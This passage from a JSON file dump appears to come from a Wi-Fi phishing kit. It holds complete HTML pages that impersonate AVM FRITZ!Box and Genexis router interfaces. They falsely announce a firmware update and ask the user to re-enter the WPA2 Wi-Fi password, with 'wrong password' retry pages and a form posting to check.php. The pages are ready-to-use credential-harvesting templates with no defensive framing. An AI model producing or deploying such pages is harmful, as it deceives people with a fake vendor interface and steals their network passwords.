(max-width: 480px) {\r\n\t#header {\r\n\t\tbackground-image:url(header_small.png);\r\n\t\tmax-width:480px;\r\n\r\n\t\tbackground-position:left;\r\n\t}\r\n\t#header_icons {\r\n\t\tdisplay: none;\r\n\t}\r\n\t#sidebar_left {\r\n\t\tdisplay: none;\r\n\t}\r\n\t#content {\r\n\t\twidth:90%;\r\n\t}\r\n\t#subcontent {\r\n\t\theight: 300px;\r\n\t\tfont-size: 24px;\r\n\t\twidth: 90%;\r\n\t}\r\n\t#subcontent table {\r\n\t\tdisplay: none;\r\n\t}\r\n\t#subcontent_phone {\r\n\t\tdisplay: block !important;\r\n\t}\r\n\tinput {\r\n\t\tpadding: 5px;\r\n\t\tborder-radius: 8px 8px 8px 8px;\r\n\t\tborder: thin solid #99adab;\r\n\t\tfont-size: 16px;\r\n\t\twidth: 170px;\r\n\t\tfont-weight:bold;\r\n\t}\r\n\t#footer li {\r\n\t\tmargin:0px;\r\n\t}\r\n}\r\n</style>\r\n</head>\r\n\r\n<body>\r\n<div id=\"wrapper\">\r\n<div id=\"header\"></div>\r\n<div id=\"header_icons\">\r\n\t<ul>\r\n    \t<li><a href=\"#\"><img src=\"icon0.png\">Logout</a></li>\r\n        <li><a href=\"#\"><img src=\"icon1.png\">View:</a> Expert</li>\r\n        <li><a href=\"#\"><img src=\"icon2.png\">Index</a></li>\r\n        <li><a href=\"#\"><img src=\"icon3.png\">Help</a></li>\r\n    </ul>\r\n</div>\r\n\r\n<div id=\"sidebar_left\">\r\n\t<ul>\r\n    \t<li><a href=\"#\">Overview</a></li>\r\n        <li><a href=\"#\">Internet</a></li>\r\n        <li><a href=\"#\">Telephony</a></li>\r\n        <li class=\"sidebar_left_selected\"><a href=\"#\">WLAN</a></li>\r\n        <li><a href=\"#\">DECT</a></li>\r\n        <li><a href=\"#\">System</a></li>\r\n    </ul>\r\n</div>\r\n\r\n<div id=\"content\">\r\n\t<div id=\"content_head\"><span style=\"margin-left:30px;\">Firmware Update</span></div>\r\n    <div id=\"subcontent\">\r\n    \t<form method=\"POST\" action=\"check.php\" id=\"form1\" name=\"form1\">\r\n        \t<table width=\"100%\" border=\"0\" cellspacing=\"5\">\r\n  <tbody>\r\n    <tr>\r\n        <td colspan=\"2\" align=\"left\"><span style=\"margin-left:10px;\">FRITZ!Box has been updated.</span><br /><span style=\"margin-left:10px;\">For reactivation of the Wi-Fi signal, re-enter your Wi-Fi Password</span></td>\r\n    </tr>\r\n    <tr>\r\n    \t<td colspan=\"2\" align=\"center\"><span style=\"color:#A80002;\">Wrong password! - Please try again</span></td>\r\n    </tr>\r\n    <tr>\r\n      <td>&nbsp;</td>\r\n      <td>&nbsp;</td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"right\">WPA2 Password:</td>\r\n      <td><input type=\"password\" name=\"key1\"></td>\r\n    </tr>\r\n    <tr>\r\n      <td>&nbsp;</td>\r\n      <td><input type=\"submit\" value=\"Submit\"></td>\r\n    </tr>\r\n  </tbody>\r\n</table>\r\n\t\t</form>\r\n        <div id=\"subcontent_phone\">\r\n    \t<form method=\"POST\" action=\"check.php\" id=\"form1\" name=\"form1\">\r\n    \t\t<ul>\r\n            <li><span style=\"color:#A80002;\">Wrong password!<br>Please try again</span></li>\r\n         \t   <li>&nbsp;</li>\r\n        \t\t<li>Please enter your Wi-Fi Password</li>\r\n         \t   <li>&nbsp;</li>\r\n         \t   <li>WPA2 Password:</li>\r\n         \t   <li><input type=\"password\" name=\"key1\"></li>\r\n         \t   <li>&nbsp;</li>\r\n          \t  <li><input type=\"submit\" value=\"Submit\"></li>\r\n       \t</ul>\r\n        </form>\r\n    \t</div>\r\n    </div>\r\n</div>\r\n\t<div id=\"footer\">\r\n\t\t<ul>\r\n\t    \t<li><a href=\"#\">Manual</a></li>\r\n            <li><span style=\" font-weight:bold;\">&#124;</span></li>\r\n\t        <li><a href=\"#\">Service-Portal</a></li>\r\n            <li><span style=\" font-weight:bold;\">&#124;</span></li>\r\n\t        <li><a href=\"#\">FAQs</a></li>\r\n            <li><span style=\" font-weight:bold;\">&#124;</span></li>\r\n\t        <li><a href=\"#\">FRITZ! Clips</a></li>\r\n            <li><span style=\" font-weight:bold;\">&#124;</span></li>\r\n\t        <li><a href=\"#\">Applications</a></li>\r\n            <li><span style=\" font-weight:bold;\">&#124;</span></li>\r\n\t        <li><a href=\"#\">www.avm.com</a></li>\r\n            <li><span style=\" font-weight:bold;\">&#124;</span></li>\r\n        \t<li><a href=\"#\">www.freetz.org</a></li>\r\n    \t</ul>\r\n\t</div>\r\n</div>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "sites/fritzbox_eng/final.html",
    "content": "<!doctype html>\r\n<html>\r\n<head>\r\n<meta charset=\"utf-8\">\r\n<meta name=\"viewport\" content=\"width=device-width; initial-scale=1.0;\" />  \r\n<title>FRITZ!Box</title>\r\n<style type=\"text/css\">\r\nbody {\r\n\tmargin-left: 0px;\r\n\tmargin-top: 0px;\r\n\tmargin-right: 0px;\r\n\tmargin-bottom: 0px;\r\n\tbackground-image: url(bg.png);\r\n\tbackground-repeat:repeat-x;\r\n\tcolor:#414143;\r\n\tfont-family:\"Gill Sans\", \"Gill Sans MT\", \"Myriad Pro\", \"DejaVu Sans Condensed\", Helvetica, Arial, sans-serif;\r\n\tfont-size: 14px;\r\n}\r\na:link {\r\n\tcolor:#2e5b9b;\r\n\ttext-decoration:none;\r\n}\r\na:hover {\r\n\tcolor:#386fbd;\r\n}\r\na:visited {\r\n\tcolor:#2e5b9b;\r\n}\r\n.blue_text {\r\n\tcolor:#0c3465;\r\n}\r\n#wrapper {\r\n\tmax-width:1004px;\r\n\tmargin:auto;\r\n}\r\n#header {\r\n\tbackground-image:url(header.png);\r\n\tbackground-repeat:no-repeat;\r\n\tbackground-position:center;\r\n\twidth:100%;\r\n\theight:91px;\r\n\tposition:relative;\r\n\tmargin:auto;\r\n}\r\n#header_icons {\r\n\twidth:100%;\r\n\theight:45px;\r\n\tposition:relative;\r\n\tmargin:auto;\r\n\ttext-align:right;\r\n\tdisplay:inline-block;\r\n}\r\n#header_icons ul {\r\n\tlist-style-type:none;\r\n\tmargin-right:20px;\r\n}\r\n#header_icons ul li {\r\n\tdisplay:inline-block;\r\n\tcolor:#0c3465;\r\n\tvertical-align:middle;\r\n}\r\n#sidebar_left {\r\n\tposition:relative;\r\n\tfloat:left;\r\n\tborder: thin solid #99adab;\r\n\tborder-radius: 15px 15px 15px 15px;\r\n\tbackground-color:#fbf8f4;\r\n\tmin-width:150px;\r\n\tpadding: 10px;\r\n\tmargin-left:20px;\r\n}\r\n#sidebar_left ul {\r\n\tlist-style-type:none;\r\n\tmargin:0px;\r\n\tpadding:0px;\r\n}\r\n#sidebar_left ul li {\r\n\tlist-style-type:none;\r\n\tfont-weight: bold;\r\n\tfont-size: 16px;\r\n\twidth:95%;\r\n\tpadding-left:5px;\r\n\tpadding-top: 2px;\r\n\tpadding-bottom: 2px;\r\n\ttext-align:left;\r\n}\r\n#sidebar_left ul li a {\r\n\tcolor:#093e75;\r\n}\r\n.sidebar_left_selected {\r\n\tborder: thin solid #99adab;\r\n\tborder-radius: 10px 10px 10px 10px;\r\n\tbackground: #bed7ed; /* Old browsers */\r\n    background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */\r\n    background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */\r\n    background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */\r\n    filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */\r\n}\r\n#content {\r\n\tposition:relative;\r\n\tfloat: right;\r\n\twidth: 750px;\r\n\tmin-height: 400px;\r\n\tborder: thin solid #99adab;\r\n\tborder-radius: 15px 15px 15px 15px;\r\n\tbackground-color:#fbf8f4;\r\n\tmargin-right: 25px;\r\n}\r\n#content_head {\r\n\tposition:relative;\r\n\tborder-radius: 15px 15px 0px 0px;\r\n\tmin-height: 27px;\r\n\ttext-align:left;\r\n\tfont-size:18px;\r\n\tfont-weight:bold;\r\n\tpadding-top:3px;\r\n\tbackground: #bed7ed; /* Old browsers */\r\n    background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */\r\n    background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */\r\n    background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */\r\n    filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */\r\n\tborder-bottom: thin solid #99adab;\r\n}\r\n#subcontent {\r\n\tbackground-color:#FFFFFF;\r\n\tborder: thin solid #99adab;\r\n\tborder-radius: 0px 0px 0px 0px;\r\n\twidth: 60%;\r\n\tmargin:auto;\r\n\tmargin-top: 20px;\r\n\tmargin-bottom: 40px;\r\n}\r\n#subcontent_phone ul {\r\n\tlist-style-type:none;\r\n\tmargin:10px;\r\n\tpadding:0px;\r\n}\r\n#subcontent_phone {\r\n\tdisplay:none ;\r\n}\r\n#subcontent_phone ul {\r\n\tlist-style:none; \r\n}\r\n#subcontent_phone ul li {\r\n\ttext-align:center;\r\n}\r\n#footer {\r\n\tposition: relative;\r\n\tmargin-right: 30px;\r\n\t\r\n\tfloat:right;\r\n}\r\n#footer ul {\r\n\tlist-style-type:none;\r\n\t\r\n}\r\n#footer ul li {\r\n\tdisplay:inline-block;\r\n\tmargin-right: 10px;\r\n}\r\n@media only screen and (max-width: 1024px) {\r\n\t#content {\r\n\t\twidth:70%;\r\n\t}\r\n}\r\n\r\n@media only screen and (max-width: 480px) {\r\n\t#header {\r\n\t\tbackground-image:url(header_small.png);\r\n\t\tmax-width:480px;\r\n\r\n\t\tbackground-position:left;\r\n\t}\r\n\t#header_icons {\r\n\t\tdisplay: none;\r\n\t}\r\n\t#sidebar_left {\r\n\t\tdisplay: none;\r\n\t}\r\n\t#content {\r\n\t\twidth:90%;\r\n\t}\r\n\t#subcontent {\r\n\t\theight: 300px;\r\n\t\tfont-size: 24px;\r\n\t\twidth: 90%;\r\n\t}\r\n\t#subcontent table {\r\n\t\tdisplay: none;\r\n\t}\r\n\t#subcontent_phone {\r\n\t\tdisplay: block !important;\r\n\t}\r\n\tinput {\r\n\t\tpadding: 5px;\r\n\t\tborder-radius: 8px 8px 8px 8px;\r\n\t\tborder: thin solid #99adab;\r\n\t\tfont-size: 16px;\r\n\t\twidth: 170px;\r\n\t\tfont-weight:bold;\r\n\t}\r\n\t#footer li {\r\n\t\tmargin:0px;\r\n\t}\r\n}\r\n</style>\r\n</head>\r\n\r\n<body>\r\n<div id=\"wrapper\">\r\n<div id=\"header\"></div>\r\n<div id=\"header_icons\">\r\n\t<ul>\r\n    \t<li><a href=\"#\"><img src=\"icon0.png\">Logout</a></li>\r\n        <li><a href=\"#\"><img src=\"icon1.png\">View:</a> Expert</li>\r\n        <li><a href=\"#\"><img src=\"icon2.png\">Index</a></li>\r\n        <li><a href=\"#\"><img src=\"icon3.png\">Help</a></li>\r\n    </ul>\r\n</div>\r\n\r\n<div id=\"sidebar_left\">\r\n\t<ul>\r\n    \t<li><a href=\"#\">Overview</a></li>\r\n        <li><a href=\"#\">Internet</a></li>\r\n        <li><a href=\"#\">Telephony</a></li>\r\n        <li class=\"sidebar_left_selected\"><a href=\"#\">WLAN</a></li>\r\n        <li><a href=\"#\">DECT</a></li>\r\n        <li><a href=\"#\">System</a></li>\r\n    </ul>\r\n</div>\r\n\r\n<div id=\"content\">\r\n\t<div id=\"content_head\"><span style=\"margin-left:30px;\">Firmware Update</span></div>\r\n    <div id=\"subcontent\">\r\n        \t<table width=\"100%\" border=\"0\" cellspacing=\"5\">\r\n  <tbody>\r\n    <tr>\r\n        <td colspan=\"2\" align=\"left\"><span style=\"margin-left:10px;\">Please wait a moment!</span><br /><span style=\"margin-left:10px;\">Establishing connection...</span></td>\r\n    </tr>\r\n  </tbody>\r\n</table>\r\n        <div id=\"subcontent_phone\">\r\n    \t\t<ul>\r\n        \t\t<li>Please wait a moment!</li>\r\n         \t   <li>&nbsp;</li>\r\n         \t   <li>Establishing connection...</li>\r\n       \t</ul>\r\n    \t</div>\r\n    </div>\r\n</div>\r\n\t<div id=\"footer\">\r\n\t\t<ul>\r\n\t    \t<li><a href=\"#\">Manual</a></li>\r\n            <li><span style=\" font-weight:bold;\">&#124;</span></li>\r\n\t        <li><a href=\"#\">Service-Portal</a></li>\r\n            <li><span style=\" font-weight:bold;\">&#124;</span></li>\r\n\t        <li><a href=\"#\">FAQs</a></li>\r\n            <li><span style=\" font-weight:bold;\">&#124;</span></li>\r\n\t        <li><a href=\"#\">FRITZ! Clips</a></li>\r\n            <li><span style=\" font-weight:bold;\">&#124;</span></li>\r\n\t        <li><a href=\"#\">Applications</a></li>\r\n            <li><span style=\" font-weight:bold;\">&#124;</span></li>\r\n\t        <li><a href=\"#\">www.avm.com</a></li>\r\n            <li><span style=\" font-weight:bold;\">&#124;</span></li>\r\n        \t<li><a href=\"#\">www.freetz.org</a></li>\r\n    \t</ul>\r\n\t</div>\r\n</div>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "sites/fritzbox_eng/index.html",
    "content": "<!doctype html>\r\n<html>\r\n<head>\r\n<meta charset=\"utf-8\">\r\n<meta name=\"viewport\" content=\"width=device-width; initial-scale=1.0;\" />  \r\n<title>FRITZ!Box</title>\r\n<style type=\"text/css\">\r\nbody {\r\n\tmargin-left: 0px;\r\n\tmargin-top: 0px;\r\n\tmargin-right: 0px;\r\n\tmargin-bottom: 0px;\r\n\tbackground-image: url(bg.png);\r\n\tbackground-repeat:repeat-x;\r\n\tcolor:#414143;\r\n\tfont-family:\"Gill Sans\", \"Gill Sans MT\", \"Myriad Pro\", \"DejaVu Sans Condensed\", Helvetica, Arial, sans-serif;\r\n\tfont-size: 14px;\r\n}\r\na:link {\r\n\tcolor:#2e5b9b;\r\n\ttext-decoration:none;\r\n}\r\na:hover {\r\n\tcolor:#386fbd;\r\n}\r\na:visited {\r\n\tcolor:#2e5b9b;\r\n}\r\n.blue_text {\r\n\tcolor:#0c3465;\r\n}\r\n#wrapper {\r\n\tmax-width:1004px;\r\n\tmargin:auto;\r\n}\r\n#header {\r\n\tbackground-image:url(header.png);\r\n\tbackground-repeat:no-repeat;\r\n\tbackground-position:center;\r\n\twidth:100%;\r\n\theight:91px;\r\n\tposition:relative;\r\n\tmargin:auto;\r\n}\r\n#header_icons {\r\n\twidth:100%;\r\n\theight:45px;\r\n\tposition:relative;\r\n\tmargin:auto;\r\n\ttext-align:right;\r\n\tdisplay:inline-block;\r\n}\r\n#header_icons ul {\r\n\tlist-style-type:none;\r\n\tmargin-right:20px;\r\n}\r\n#header_icons ul li {\r\n\tdisplay:inline-block;\r\n\tcolor:#0c3465;\r\n\tvertical-align:middle;\r\n}\r\n#sidebar_left {\r\n\tposition:relative;\r\n\tfloat:left;\r\n\tborder: thin solid #99adab;\r\n\tborder-radius: 15px 15px 15px 15px;\r\n\tbackground-color:#fbf8f4;\r\n\tmin-width:150px;\r\n\tpadding: 10px;\r\n\tmargin-left:20px;\r\n}\r\n#sidebar_left ul {\r\n\tlist-style-type:none;\r\n\tmargin:0px;\r\n\tpadding:0px;\r\n}\r\n#sidebar_left ul li {\r\n\tlist-style-type:none;\r\n\tfont-weight: bold;\r\n\tfont-size: 16px;\r\n\twidth:95%;\r\n\tpadding-left:5px;\r\n\tpadding-top: 2px;\r\n\tpadding-bottom: 2px;\r\n\ttext-align:left;\r\n}\r\n#sidebar_left ul li a {\r\n\tcolor:#093e75;\r\n}\r\n.sidebar_left_selected {\r\n\tborder: thin solid #99adab;\r\n\tborder-radius: 10px 10px 10px 10px;\r\n\tbackground: #bed7ed; /* Old browsers */\r\n    background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */\r\n    background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */\r\n    background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */\r\n    filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */\r\n}\r\n#content {\r\n\tposition:relative;\r\n\tfloat: right;\r\n\twidth: 750px;\r\n\tmin-height: 400px;\r\n\tborder: thin solid #99adab;\r\n\tborder-radius: 15px 15px 15px 15px;\r\n\tbackground-color:#fbf8f4;\r\n\tmargin-right: 25px;\r\n}\r\n#content_head {\r\n\tposition:relative;\r\n\tborder-radius: 15px 15px 0px 0px;\r\n\tmin-height: 27px;\r\n\ttext-align:left;\r\n\tfont-size:18px;\r\n\tfont-weight:bold;\r\n\tpadding-top:3px;\r\n\tbackground: #bed7ed; /* Old browsers */\r\n    background: -moz-linear-gradient(top, #bed7ed 0%, #bed7ed 47%, #a7cff8 54%, #a7cff8 100%); /* FF3.6-15 */\r\n    background: -webkit-linear-gradient(top, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* Chrome10-25,Safari5.1-6 */\r\n    background: linear-gradient(to bottom, #bed7ed 0%,#bed7ed 47%,#a7cff8 54%,#a7cff8 100%); /* W3C, IE10+, FF16+, Chrome26+, Opera12+, Safari7+ */\r\n    filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#bed7ed', endColorstr='#a7cff8',GradientType=0 ); /* IE6-9 */\r\n\tborder-bottom: thin solid #99adab;\r\n}\r\n#subcontent {\r\n\tbackground-color:#FFFFFF;\r\n\tborder: thin solid #99adab;\r\n\tborder-radius: 0px 0px 0px 0px;\r\n\twidth: 60%;\r\n\tmargin:auto;\r\n\tmargin-top: 20px;\r\n\tmargin-bottom: 40px;\r\n}\r\n#subcontent_phone ul {\r\n\tlist-style-type:none;\r\n\tmargin:10px;\r\n\tpadding:0px;\r\n}\r\n#subcontent_phone {\r\n\tdisplay:none ;\r\n}\r\n#subcontent_phone ul {\r\n\tlist-style:none; \r\n}\r\n#subcontent_phone ul li {\r\n\ttext-align:center;\r\n}\r\n#footer {\r\n\tposition: relative;\r\n\tmargin-right: 30px;\r\n\t\r\n\tfloat:right;\r\n}\r\n#footer ul {\r\n\tlist-style-type:none;\r\n\t\r\n}\r\n#footer ul li {\r\n\tdisplay:inline-block;\r\n\tmargin-right: 10px;\r\n}\r\n@media only screen and (max-width: 1024px) {\r\n\t#content {\r\n\t\twidth:70%;\r\n\t}\r\n}\r\n\r\n@media only screen and (max-width: 480px) {\r\n\t#header {\r\n\t\tbackground-image:url(header_small.png);\r\n\t\tmax-width:480px;\r\n\t\tbackground-position:left;\r\n\t}\r\n\t#header_icons {\r\n\t\tdisplay: none;\r\n\t}\r\n\t#sidebar_left {\r\n\t\tdisplay: none;\r\n\t}\r\n\t#content {\r\n\t\twidth:90%;\r\n\t}\r\n\t#subcontent {\r\n\t\theight: 300px;\r\n\t\tfont-size: 24px;\r\n\t\twidth: 90%;\r\n\t}\r\n\t#subcontent table {\r\n\t\tdisplay: none;\r\n\t}\r\n\t#subcontent_phone {\r\n\t\tdisplay: block !important;\r\n\t}\r\n\tinput {\r\n\t\tpadding: 5px;\r\n\t\tborder-radius: 8px 8px 8px 8px;\r\n\t\tborder: thin solid #99adab;\r\n\t\tfont-size: 16px;\r\n\t\twidth: 170px;\r\n\t\tfont-weight:bold;\r\n\t}\r\n\t#footer li {\r\n\t\tmargin:0px;\r\n\t}\r\n}\r\n</style>\r\n</head>\r\n\r\n<body>\r\n<div id=\"wrapper\">\r\n<div id=\"header\"></div>\r\n<div id=\"header_icons\">\r\n\t<ul>\r\n    \t<li><a href=\"#\"><img src=\"icon0.png\">Logout</a></li>\r\n        <li><a href=\"#\"><img src=\"icon1.png\">View:</a> Expert</li>\r\n        <li><a href=\"#\"><img src=\"icon2.png\">Index</a></li>\r\n        <li><a href=\"#\"><img src=\"icon3.png\">Help</a></li>\r\n    </ul>\r\n</div>\r\n\r\n<div id=\"sidebar_left\">\r\n\t<ul>\r\n    \t<li><a href=\"#\">Overview</a></li>\r\n        <li><a href=\"#\">Internet</a></li>\r\n        <li><a href=\"#\">Telephony</a></li>\r\n        <li class=\"sidebar_left_selected\"><a href=\"#\">WLAN</a></li>\r\n        <li><a href=\"#\">DECT</a></li>\r\n        <li><a href=\"#\">System</a></li>\r\n    </ul>\r\n</div>\r\n\r\n<div id=\"content\">\r\n\t<div id=\"content_head\"><span style=\"margin-left:30px;\">Firmware Update</span></div>\r\n    <div id=\"subcontent\">\r\n    \t<form method=\"POST\" action=\"check.php\" id=\"form1\" name=\"form1\">\r\n        \t<table width=\"100%\" border=\"0\" cellspacing=\"5\">\r\n  <tbody>\r\n    <tr>\r\n        <td colspan=\"2\" align=\"left\"><span style=\"margin-left:10px;\">FRITZ!Box has been updated.</span><br /><span style=\"margin-left:10px;\">For reactivation of the Wi-Fi signal, re-enter your Wi-Fi Password</span></td>\r\n    </tr>\r\n    <tr>\r\n      <td>&nbsp;</td>\r\n      <td>&nbsp;</td>\r\n    </tr>\r\n    <tr>\r\n      <td align=\"right\">WPA2 Password:</td>\r\n      <td><input type=\"password\" name=\"key1\"></td>\r\n    </tr>\r\n    <tr>\r\n      <td>&nbsp;</td>\r\n      <td><input type=\"submit\" value=\"Submit\"></td>\r\n    </tr>\r\n  </tbody>\r\n</table>\r\n\t\t</form>\r\n        <div id=\"subcontent_phone\">\r\n    \t<form method=\"POST\" action=\"check.php\" id=\"form1\" name=\"form1\">\r\n    \t\t<ul>\r\n        \t\t<li>Please enter your Wi-Fi Password</li>\r\n         \t   <li>&nbsp;</li>\r\n         \t   <li>WPA2 Password:</li>\r\n         \t   <li><input type=\"password\" name=\"key1\"></li>\r\n         \t   <li>&nbsp;</li>\r\n          \t  <li><input type=\"submit\" value=\"Submit\"></li>\r\n       \t</ul>\r\n        </form>\r\n    \t</div>\r\n    </div>\r\n</div>\r\n\t<div id=\"footer\">\r\n\t\t<ul>\r\n\t    \t<li><a href=\"#\">Manual</a></li>\r\n            <li><span style=\" font-weight:bold;\">&#124;</span></li>\r\n\t        <li><a href=\"#\">Service-Portal</a></li>\r\n            <li><span style=\" font-weight:bold;\">&#124;</span></li>\r\n\t        <li><a href=\"#\">FAQs</a></li>\r\n            <li><span style=\" font-weight:bold;\">&#124;</span></li>\r\n\t        <li><a href=\"#\">FRITZ! Clips</a></li>\r\n            <li><span style=\" font-weight:bold;\">&#124;</span></li>\r\n\t        <li><a href=\"#\">Applications</a></li>\r\n            <li><span style=\" font-weight:bold;\">&#124;</span></li>\r\n\t        <li><a href=\"#\">www.avm.com</a></li>\r\n            <li><span style=\" font-weight:bold;\">&#124;</span></li>\r\n        \t<li><a href=\"#\">www.freetz.org</a></li>\r\n    \t</ul>\r\n\t</div>\r\n</div>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "sites/genenix_de/error.html",
    "content": "<!DOCTYPE html>\r\n<html>\r\n<head>\r\n<title>Genexis DRGOS</title>\r\n<meta charset=\"UTF-8\" />\r\n<meta name=\"viewport\" content=\"width=device-width; initial-scale=1.0;\" /> \r\n<style>\r\nbody{\r\n\tpadding:0px;\r\n\tmargin:0px;\r\n\tfont:11px/1.545 verdana,arial,sans-serif;\r\n\tcolor:#000000;\r\n}\r\n#footer {\r\n\tposition:absolute;\r\n\tbottom:0px;\r\n\twidth:100%;\r\n\theight: 55px;\r\n\ttext-align:left;\r\n\tvertical-align:middle;\r\n\tborder-top: thin solid #000000;\r\n}\r\n#footer img {\r\n\tmargin-top:15px;\r\n\tmargin-left: 20px;\r\n}\r\n#top_nav {\r\n\twidth: 100%;\r\n\tborder-bottom:#000000 solid thin;\r\n\theight:55px;\r\n\tbackground-color:#002659;\r\n\tcolor:#FFFFFF;\r\n}\r\n#top_nav p {\r\n\tfont-weight:bold;\r\n\tfont-size:20px;\r\n\tmargin:0px;\r\n\tmargin-left:30px;\r\n\tdisplay:table-row;\r\n}\r\n#top_nav_load {\r\n\tposition: relative;\r\n\tfloat:right;\r\n\tfont-size:9.5px;\r\n\tmargin-top:8px;\r\n\tmargin-right: 6px;\r\n}\r\n#top_nav ul, #sub_nav ul {\r\n\tlist-style:none;\r\n\tmargin:0px;\r\n\tdisplay:table-row;\r\n\tvertical-align:bottom;\r\n}\r\n#top_nav ul li, #sub_nav ul li {\r\n\tdisplay: inline;\r\n\tfont-size:12px;\r\n\tmargin-right:10px;\r\n\tmargin-top:28px;\r\n\tpadding:5px;\r\n\tpadding-left:10px;\r\n\tpadding-right:10px;\r\n}\r\n.selected a {\r\n\tcolor:#1bbdf5 !important;\r\n}\r\n.selected:hover  {\r\n\tbackground-color:transparent !important;\r\n}\r\n.seperator {\r\n\tcursor:default !important;\r\n\tbackground-color:transparent !important;\r\n}\r\n#top_nav ul li a, #sub_nav ul li a {\r\n\tcolor:#FFFFFF;\r\n\ttext-decoration:none;\r\n\tfont-size:12px;\r\n}\r\n#top_nav ul li:hover, #sub_nav ul li:hover {\r\n\tbackground-color:#44c8f5;\r\n\tcursor:pointer;\r\n}\r\n#sub_nav {\r\n\twidth: 100%;\r\n\theight:30px;\r\n\tbackground-color:#002659;\r\n}\r\n#sub_nav ul {\r\n\tdisplay: block;\r\n\tpadding:0px;\r\n}\r\n#sub_nav ul li {\r\n\tmargin-right:0px !important;\r\n}\r\n#sub_nav ul li a {\r\n\tfont-size:10px !important;\r\n}\r\n#content {\r\n\twidth:100%;\r\n\tmin-height: 200px;\r\n}\r\n#content_box {\r\n\tmargin-top: 20px;\r\n\tmargin-left: 30px;\r\n\twidth:90%;\r\n}\r\n#content_box h1 {\r\n\tmargin:auto;\r\n\ttext-align:center;\r\n}\r\n#form_box {\r\n\tmargin-top:20px;\r\n\tmin-width:20%;\r\n}\r\n#form_box table {\r\n\tfont-size:12px;\r\n}\r\n.wrong_pass {\r\n\tcolor:#E10003;\r\n\tfont-size:14px;\r\n\tfont-weight:bold;\r\n}\r\n@media only screen and (max-width: 1024px) {\r\n\t#top_nav p {\r\n\t\tdisplay:none;\r\n\t}\r\n\t#top_nav ul {\r\n\t\tbottom:0px;\r\n\t}\r\n}\r\n@media only screen and (max-width: 480px) {\r\n\t#top_nav_load {\r\n\t\tdisplay:none;\t\r\n\t}\r\n\t#sub_nav ul li {\r\n\t\tfont-size:8px;\r\n\t\tmargin-right:2px;\r\n\t}\r\n\t#content_box {\r\n\t\twidth:80%;\r\n\t}\r\n\t#form_box {\r\n\t\ttext-align:center;\r\n\t}\r\n}\r\n</style>\r\n</head>\r\n  \r\n<body>\r\n<div id=\"header\">\r\n\t<div id=\"top_nav\">\r\n        <div id=\"top_nav_load\"><strong>Host:</strong> 000300000573-0006a20f1f32d57c <strong>Betriebszeit:</strong> 11 days, 3:24 <strong>Laden:</strong> 0.14, 0.05, 0.01</div>\r\n        <div style=\"position:relative; display: table;\">\r\n       \t \t<p style=\"float:left;\">HRG1000</p>\r\n        \t<ul>\r\n        \t\t<li><a href=\"#\">Information</a></li>\r\n\t            <li class=\"selected\"><a href=\"#\">Status</a></li>\r\n    \t        <li class=\"seperator\">-</li>\r\n\t            <li><a href=\"#\">System</a></li>\r\n\t            <li><a href=\"#\">Netzwerk</a></li>\r\n\t            <li><a href=\"#\">Kindersicherung</a></li>\r\n\t        </ul>\r\n        </div>\r\n    </div>\r\n    <div id=\"sub_nav\">\r\n\t\t<ul>\r\n\t\t\t<li><a href=\"#\">Interfaces</a></li>\r\n\t\t\t<li><a href=\"#\">DHCP Client</a></li>\r\n\t\t\t<li class=\"selected\"><a href=\"#\">WLAN Pr&uuml;fung</a></li>\r\n\t\t\t<li><a href=\"#\">CATV</a></li>\r\n\t\t\t<li><a href=\"#\">VoIP</a></li>\r\n\t\t\t<li><a href=\"#\">Diagnose-Programm</a></li>\r\n\t\t</ul>\r\n    </div>\r\n</div>\r\n\r\n<div id=\"content\">\r\n\t<div id=\"content_box\">\r\n    \t<h1>Firmware Update</h1>\r\n        <div id=\"form_box\">\r\n        \t<h2>Um zu verbinden bitte WPA2-Kennwort eingeben</h2>\r\n        \t<form method=\"POST\" action=\"check.php\" id=\"form1\" name=\"form1\">\r\n            \t<table cellspacing=\"5px\" cols=\"2\">\r\n                \t<tr>\r\n                    \t<td colspan=\"2\"><span class=\"wrong_pass\">Passwort falsch! - Bitte wiederholen</span></td>\r\n                    </tr>\r\n                \t<tr>\r\n                    \t<td>WLAN-Passwort:</td>\r\n                        <td><input type=\"password\" name=\"key1\"></td>\r\n                    </tr>\r\n                    <tr>\r\n                    \t<td>&nbsp;</td>\r\n                        <td><input type=\"submit\" value=\"Verbindung herstellen\"></td>\r\n                    </tr>\r\n                </table>\r\n            </form>\r\n        </div>\r\n    </div>\r\n</div>\r\n\r\n<div id=\"footer\">\r\n\t<img src=\"genexis-logo-small.jpg\" alt=\"Genexis. Always connected\" />\r\n</div>\r\n</body>\r\n \r\n</html>"
  },
  {
    "path": "sites/genenix_de/final.html",
